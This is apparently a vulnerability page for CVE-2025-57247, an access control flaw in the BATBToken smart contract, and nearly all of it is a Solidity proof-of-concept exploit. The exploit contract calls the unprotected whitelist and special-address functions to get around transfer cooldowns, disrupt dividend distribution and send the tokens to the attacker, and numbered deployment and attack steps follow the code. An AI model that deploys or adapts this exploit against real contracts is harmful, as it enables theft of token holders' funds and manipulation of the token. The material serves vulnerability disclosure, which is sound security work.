CVE-2025-57247：BATBToken智能合约访问控制缺陷漏洞

// SPDX-License-Identifier: MIT pragma solidity ^0.8.26; // PoC for CVE-2025-57247: BATBToken Access Control Vulnerability // This PoC demonstrates how any user can call whitelist management functions // without proper access control. interface IBATBToken { // Vulnerable functions in the base ERC20 contract function setColdWhiteList(address addr, bool status) external; function setSpecialAddress(address addr) external; function transfer(address to, uint256 amount) external returns (bool); function balanceOf(address account) external view returns (uint256); } contract Exploit { IBATBToken public target; constructor(address _target) { target = IBATBToken(_target); } function exploit() external { // Step 1: Add attacker's address to cold whitelist to bypass transfer restrictions // No access control check - any user can call this target.setColdWhiteList(address(this), true); // Step 2: Manipulate special address settings to disrupt dividend distribution // No access control check - any user can call this target.setSpecialAddress(address(this)); // Step 3: Now attacker can bypass cold time transfer restrictions // and potentially steal tokens or manipulate tokenomics uint256 balance = target.balanceOf(address(this)); if (balance > 0) { target.transfer(msg.sender, balance); } } receive() external payable {} } /* * Attack Steps: * 1. Deploy the Exploit contract with the BATBToken address as constructor argument * 2. Call exploit() on the Exploit contract * 3. The exploit contract will: * a. Call setColdWhiteList() to add itself to the cold whitelist (bypassing restrictions) * b. Call setSpecialAddress() to manipulate dividend distribution * c. Transfer any tokens held by the exploit contract to the attacker * * Note: This vulnerability requires no authentication, no user interaction, * and can be exploited remotely via network (AV:N, PR:N, UI:N). */